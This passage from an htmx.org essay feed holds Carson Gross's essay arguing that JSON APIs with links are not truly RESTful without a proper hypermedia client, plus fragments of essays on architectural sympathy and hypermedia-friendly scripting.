&lt;h3 id=&quot;disadvantages-of-the-architecturally-sympathetic-approach&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#disadvantages-of-the-architecturally-sympathetic-approach&quot; aria-label=&quot;Anchor link for: disadvantages-of-the-architecturally-sympathetic-approach&quot;&gt;Disadvantages Of The Architecturally Sympathetic Approach&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Of course, as with any design principle, there are trade-offs when using Architectural Sympathy:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The shortcomings of the original piece of software are likely to be found in some way in the new software&lt;&#x2F;li&gt;
&lt;li&gt;The design constraints impressed on the new software by the older software may be so oppressive as to limit progress
and functionality in the new software&lt;&#x2F;li&gt;
&lt;li&gt;It may be difficult for developers to “see the point” of the new software, if it feels too close to the original software&lt;&#x2F;li&gt;
&lt;li&gt;By maintaining architectural sympathy with the older, original software, the new software risks appearing old itself,
a danger in the software business that has often favored new and exciting approaches to problems.&lt;&#x2F;li&gt;
&lt;li&gt;You may not be able to layer as many new concepts as some users might like on top of the original software&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;craftsmanship-architectural-sympathy&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#craftsmanship-architectural-sympathy&quot; aria-label=&quot;Anchor link for: craftsmanship-architectural-sympathy&quot;&gt;Craftsmanship &amp;amp; Architectural Sympathy&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A non-software example of architectural sympathy that I like to point to are medieval cathedrals: these cathedrals were
often built, rebuilt and improved over centuries by many different builders and architects (such as they were).  And yet
they were able, over those centuries, to maintain a high level of architectural sympathy with the earlier workers.&lt;&#x2F;p&gt;
&lt;p&gt;Rather than focusing on radically new approaches to building, workers focused on maintaining a coherent whole and, within
that framework, on the craftsmanship of their individual contributions.  Yes, there were flourishes and changes along the
way, but these typically did not sacrifice the conceptual coherence of the whole for the sake of innovation.&lt;&#x2F;p&gt;
&lt;p&gt;Adopting an architecturally sympathetic mindset in software development often means sacrificing how you would like to
do things in favor of how an original piece of software did things.  While this constraint can chafe at times, it can
also produce well crafted software that is harmonious and that dovetails well with existing software.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Hypermedia Clients</title>
        <published>2023-01-28T00:00:00+00:00</published>
        <updated>2023-01-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/hypermedia-clients/"/>
        <id>https://htmx.org/essays/hypermedia-clients/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/hypermedia-clients/">&lt;p&gt;Often, when we are being insufferably pedantic in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=32141027&quot;&gt;online discussions&lt;&#x2F;a&gt;
about &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;how-did-rest-come-to-mean-the-opposite-of-rest&#x2F;&quot;&gt;REST&lt;&#x2F;a&gt; &amp;amp; &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;HATEOAS&lt;&#x2F;a&gt;, we will
say something along the lines of this:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;JSON isn’t a hypermedia because it doesn’t have hypermedia controls.&lt;&#x2F;p&gt;
&lt;p&gt;Look at this JSON:&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account_number&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;12345&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;balance&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;currency&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;usd&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;50.00
&lt;&#x2F;span&gt;&lt;span&gt;   },
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;status&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;open&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt; }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;See?  No hypermedia controls.&lt;&#x2F;p&gt;
&lt;p&gt;So this JSON isn’t a hypermedia, and, therefore, the API returning this JSON isn’t RESTful.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;To this, occasionally, a smart and experienced web developer will reply with something along these lines:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;OK, mr. REST-y pants, how about this JSON?&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account_number&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;12345&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;balance&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;currency&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;usd&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;50.00
&lt;&#x2F;span&gt;&lt;span&gt;    },
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;status&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;open&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;links&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;transfers&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;transfers&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;close-requests&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;close-requests&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;There, now there are hypermedia controls in this response (normal humans call them links, btw) so this JSON is a
hypermedia.&lt;&#x2F;p&gt;
&lt;p&gt;So this JSON API is now RESTful.  Feel better?&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;😑&lt;&#x2F;p&gt;
&lt;p&gt;One must concede that, at least at a high-level, our online adversary has something of a talking point here: these
do appear to be hypermedia controls, and they are, in fact, in a JSON response.  So, couldn’t you call this JSON response
RESTful?&lt;&#x2F;p&gt;
&lt;p&gt;Being obstinate by nature, we still wouldn’t be willing to concede the immediate point without a good
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;DpQ9YJl.png&quot;&gt;ackchyually&lt;&#x2F;a&gt; or two:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;First, these links hold no information about what HTTP method to use to access them&lt;&#x2F;li&gt;
&lt;li&gt;Secondly, these links aren’t a &lt;em&gt;native&lt;&#x2F;em&gt; part of JSON the way that, for example, anchor and form tags are with HTML&lt;&#x2F;li&gt;
&lt;li&gt;Third, there is a lot of missing information about the hypermedia interactions at each end point (e.g. what data needs to
go up with the request.)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;And so on: the sorts of pedantic nit-picking that makes technical flame wars about REST on the internet such a &lt;em&gt;special&lt;&#x2F;em&gt; joy.&lt;&#x2F;p&gt;
&lt;p&gt;However, there is a deeper &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;DpQ9YJl.png&quot;&gt;ackchyually&lt;&#x2F;a&gt; here, and one that doesn’t involve the &lt;em&gt;JSON API&lt;&#x2F;em&gt;
itself, but rather the other side of the wire: the &lt;em&gt;client&lt;&#x2F;em&gt; that receives the JSON.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hypermedia-clients-presentation-information&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hypermedia-clients-presentation-information&quot; aria-label=&quot;Anchor link for: hypermedia-clients-presentation-information&quot;&gt;Hypermedia Clients &amp;amp; Presentation Information&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The deeper problem with this proposed fix for non-RESTful JSON APIs is that, for this JSON response to participate
properly in a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&quot;&gt;hypermedia system&lt;&#x2F;a&gt;, the &lt;em&gt;client&lt;&#x2F;em&gt; that consumes the JSON needs to &lt;em&gt;also&lt;&#x2F;em&gt;
satisfy the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm&quot;&gt;constraints&lt;&#x2F;a&gt; that the
RESTful architectural style places on the entire system.&lt;&#x2F;p&gt;
&lt;p&gt;In particular, the client needs to satisfy the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&quot;&gt;uniform interface&lt;&#x2F;a&gt;,
in which the client code knows nothing about the “shape” or details of the response beyond the ability to display
the given hypermedia to a user.  In a properly functioning RESTful system, the client isn’t allowed to have any
“out of band” knowledge about the domain that a particular hypermedia representation, er, represents.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s look at the proposed JSON-as-hypermedia again:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account_number&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;12345&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;balance&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;currency&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;usd&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;50.00
&lt;&#x2F;span&gt;&lt;span&gt;    },
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;status&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;open&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;links&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;transfers&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;transfers&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;close-requests&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;close-requests&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, a client of this API &lt;em&gt;could&lt;&#x2F;em&gt; use a generic algorithm to transform this JSON into, for example, some HTML.  It could
do so via a client-side templating language that, for example, iterated over all the properties of the JSON object.&lt;&#x2F;p&gt;
&lt;p&gt;But there’s a hitch: note that there isn’t a lot of &lt;em&gt;presentation information&lt;&#x2F;em&gt; in the JSON response.  It is a fairly raw
data representation of the account in question, with a few additional URLs.&lt;&#x2F;p&gt;
&lt;p&gt;A client that wanted to satisfy the uniform interface constraint of REST doesn’t have much information on how to present
this data to a user.  The client would, therefore, need to adopt a very basic approach to displaying this account to an
end user.&lt;&#x2F;p&gt;
&lt;p&gt;It would probably end up being roughly a set of name&#x2F;value pairs and a set generic of buttons or links for actions, right?&lt;&#x2F;p&gt;
&lt;p&gt;There simply isn’t much more it could do while remaining agnostic about the form of the JSON response.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pushing-our-json-api-further&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#pushing-our-json-api-further&quot; aria-label=&quot;Anchor link for: pushing-our-json-api-further&quot;&gt;Pushing Our JSON API Further&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;We could fix this by making our JSON API more elaborate and start including more information on how to lay out the
information: perhaps indications that some fields should be emphasized, or hidden, etc.&lt;&#x2F;p&gt;
&lt;p&gt;But that would only be part of the story.&lt;&#x2F;p&gt;
&lt;p&gt;We would also need to update the client side to interpret these new elements of our JSON API properly.  So we are no
longer just API designers: we are getting in to the hypermedia &lt;em&gt;client&lt;&#x2F;em&gt; creation business as well.  Or, more likely, we
are asking our &lt;em&gt;API clients&lt;&#x2F;em&gt; to get into the hypermedia client business as well.&lt;&#x2F;p&gt;
&lt;p&gt;Now, Mike Amundsen has written an &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.oreilly.com&#x2F;library&#x2F;view&#x2F;restful-web-clients&#x2F;9781491921890&#x2F;&quot;&gt;excellent book&lt;&#x2F;a&gt; on
how to build a proper, generic hypermedia client.  But what you will see in that book is that creating a good hypermedia
client isn’t trivial, and, further, it is certainly not what &lt;em&gt;most&lt;&#x2F;em&gt; engineers would build to consume a JSON API, even if
the JSON API had increasingly elaborate hypermedia controls and presentation information in their responses.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;inefficient-representations&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#inefficient-representations&quot; aria-label=&quot;Anchor link for: inefficient-representations&quot;&gt;“Inefficient” Representations&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;As we begin to consider adding more information to our JSON response, a quote from Roy Fielding’s dissertation jumps
to mind:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The trade-off, though, is that a uniform interface degrades efficiency, since information is transferred in a
standardized form rather than one which is specific to an application’s needs.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;em&gt;-Roy Fielding, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&quot;&gt;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A criticism of HTML is that it mixes “presentation” information with “semantic” information.  This is often contrasted
unfavorably with the brevity of typical JSON API responses.&lt;&#x2F;p&gt;
&lt;p&gt;It turns out, however, that it is exactly that presentation information, and the ability of a web browser (i.e. a hypermedia client) to
turn it into a UI that a human can interact with, that makes HTML work so well as a component of the larger hypermedia
system that is the web.&lt;&#x2F;p&gt;
&lt;p&gt;And that exactly what we find ourselves adding to our own JSON API to support a proper hypermedia client.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;building-hypermedia-clients&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#building-hypermedia-clients&quot; aria-label=&quot;Anchor link for: building-hypermedia-clients&quot;&gt;Building Hypermedia Clients&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;So, you can see, just offering hypermedia controls in a JSON API response isn’t enough.  It is &lt;em&gt;part&lt;&#x2F;em&gt; of the REST story,
but not the entire story.  And, I have come to understand, it is not really the &lt;em&gt;hard&lt;&#x2F;em&gt; part of the story.  In fact, creating the
hypermedia &lt;em&gt;client&lt;&#x2F;em&gt; is the hard part, and creating a &lt;em&gt;good&lt;&#x2F;em&gt; hypermedia client is &lt;em&gt;the really hard part&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Now, we are all used to web browsers just being there, but think for a moment about all the technology that goes in to simply
parsing and rendering HTML to an end user in a normal, every day web request.  It’s &lt;em&gt;extremely&lt;&#x2F;em&gt; complicated.&lt;&#x2F;p&gt;
&lt;p&gt;That’s why, if we want to build web-based &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;hypermedia-driven applications&lt;&#x2F;a&gt;,
it’s probably a good idea to use the standard, web-based hypermedia client: the browser.&lt;&#x2F;p&gt;
&lt;p&gt;It is already an extremely powerful, well tested hypermedia client.  And, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;docs&#x2F;&quot;&gt;with a bit of help&lt;&#x2F;a&gt;,
it can be an even better hypermedia client.&lt;&#x2F;p&gt;
&lt;p&gt;In general, building a good hypermedia client that satisfies all the constraints of REST is hard, and we should lean
towards using (and extending) existing clients rather than building our own new ones.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hyperview&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hyperview&quot; aria-label=&quot;Anchor link for: hyperview&quot;&gt;Hyperview&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;That being said, there are times when building a new hypermedia client is appropriate.  For example, this is what makes
a technology like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperview.org&#x2F;&quot;&gt;Hyperview&lt;&#x2F;a&gt; so impressive and special.  Hyperview
doesn’t just provide a specification for a new, mobile-friendly hypermedia, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperview.org&#x2F;docs&#x2F;guide_html&quot;&gt;HXML&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;It also provides developers with a hypermedia &lt;em&gt;client&lt;&#x2F;em&gt; that understands how to render HXML.&lt;&#x2F;p&gt;
&lt;p&gt;Without that hypermedia client, Hyperview would be just another hypermedia-in-theory, like the JSON above, rather
than a compelling, practical and &lt;em&gt;complete&lt;&#x2F;em&gt; RESTful hypermedia solution.&lt;&#x2F;p&gt;
&lt;p&gt;A hypermedia without a hypermedia client is like a fish without a bicycle, except where the fish is really only good at
bicycling.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;It took me a long time to appreciate how important the &lt;em&gt;client&lt;&#x2F;em&gt; is to a proper, RESTful hypermedia system.  This is understandable,
since most of the early discussion around REST was around &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.martinfowler.com&#x2F;articles&#x2F;richardsonMaturityModel.html&quot;&gt;API Design&lt;&#x2F;a&gt;,
and the client simply didn’t come up much.&lt;&#x2F;p&gt;
&lt;p&gt;What I see now is that a lot of these discussions were putting the cart before the horse: the only way a RESTful hypermedia
API can be useful is if it is consumed by a proper hypermedia client.  Otherwise, your hypermedia controls are wasted
on what is, at the end of the day, a domain-specific thick client that just wants to get things done.&lt;&#x2F;p&gt;
&lt;p&gt;Further, your hypermedia API is almost certainly going to have to carry a fair amount of presentation-layer information
in it to make the whole thing usable.  It turns out that “Level 3” of the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;martinfowler.com&#x2F;articles&#x2F;richardsonMaturityModel.html&quot;&gt;Richard Maturity Model&lt;&#x2F;a&gt;, Hypermedia Controls, &lt;em&gt;isn’t&lt;&#x2F;em&gt;
enough to reach “The Glory of REST”.&lt;&#x2F;p&gt;
&lt;p&gt;In practice, you are going to need to add in a bunch of practical presentation-level technology to make
your hypermedia API really work, &lt;em&gt;and&lt;&#x2F;em&gt; you are going to need a properly built hypermedia client to consume it.&lt;&#x2F;p&gt;
&lt;p&gt;I had a nascent sense of this when I wrote &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;05&#x2F;08&#x2F;hatoeas-is-for-humans.html&quot;&gt;HATEOAS Is For Humans&lt;&#x2F;a&gt;,
but I didn’t, at that time, appreciate just how special the client&#x2F;web browser was.&lt;&#x2F;p&gt;
&lt;p&gt;REST isn’t solely about APIs: as Roy Fielding makes clear in his dissertation, it is a &lt;em&gt;system&lt;&#x2F;em&gt; architecture.&lt;&#x2F;p&gt;
&lt;p&gt;Except for a few people like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;training.amundsen.com&#x2F;&quot;&gt;Mike&lt;&#x2F;a&gt;, we’ve been largely ignoring a larger (really,
&lt;em&gt;much&lt;&#x2F;em&gt; larger) part of the REST story:&lt;&#x2F;p&gt;
&lt;div style=&quot;text-align:center;padding-top: 24px&quot;&gt;
&lt;img src=&quot;&#x2F;img&#x2F;creating-client.png&quot; alt=&quot;Creating A Hypermedia Client Is Hard Joke&quot; style=&quot;max-width: 95%&quot;&gt;
&lt;&#x2F;div&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Hypermedia-Friendly Scripting</title>
        <published>2022-11-17T00:00:00+00:00</published>
        <updated>2022-11-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/hypermedia-friendly-scripting/"/>
        <id>https://htmx.org/essays/hypermedia-friendly-scripting/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/hypermedia-friendly-scripting/">&lt;blockquote&gt;
&lt;p&gt;The final addition to our constraint set for REST comes from the code-on-demand style of Section 3.5.3 (Figure 5-8).
REST allows client functionality to be extended by downloading and executing code in the form of applets or scripts.
This simplifies clients by reducing the number of features required to be pre-implemented. Allowing features to be
downloaded after deployment improves system extensibility. However, it also reduces visibility, and thus is only an
optional constraint within REST.&lt;&#x2F;p&gt;
